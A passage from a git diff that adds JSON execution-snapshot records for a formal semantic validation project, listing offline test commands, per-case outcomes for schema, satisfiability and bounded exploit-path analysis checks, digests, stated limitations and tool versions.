"docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-971-execution-v56", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "49b5567e6b9c340ca6402424af774686ce02220a", + "source_state": { + "base_revision": "49b5567e6b9c340ca6402424af774686ce02220a", + "checkout_state": "modified", + "implementation_digest": "be811200bbac80134856404f1d88b4868f8c0d82b0212f5bdbd784a5fd5be285", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v62.json b/docs/research/formal-semantic-validation/execution-snapshot-v62.json new file mode 100644 index 000000000..a0833eb83 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v62.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-971-execution-v56", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v61.json", + "release_revision": "61.0.0", + "release_sha256": "1aed3123614614380cb4a1639ff136a7795a5a212506cea6855d89a66cb9a627" + }, + "captured_at": "2026-09-27T21:02:10.732663+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-971-execution-v57", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + 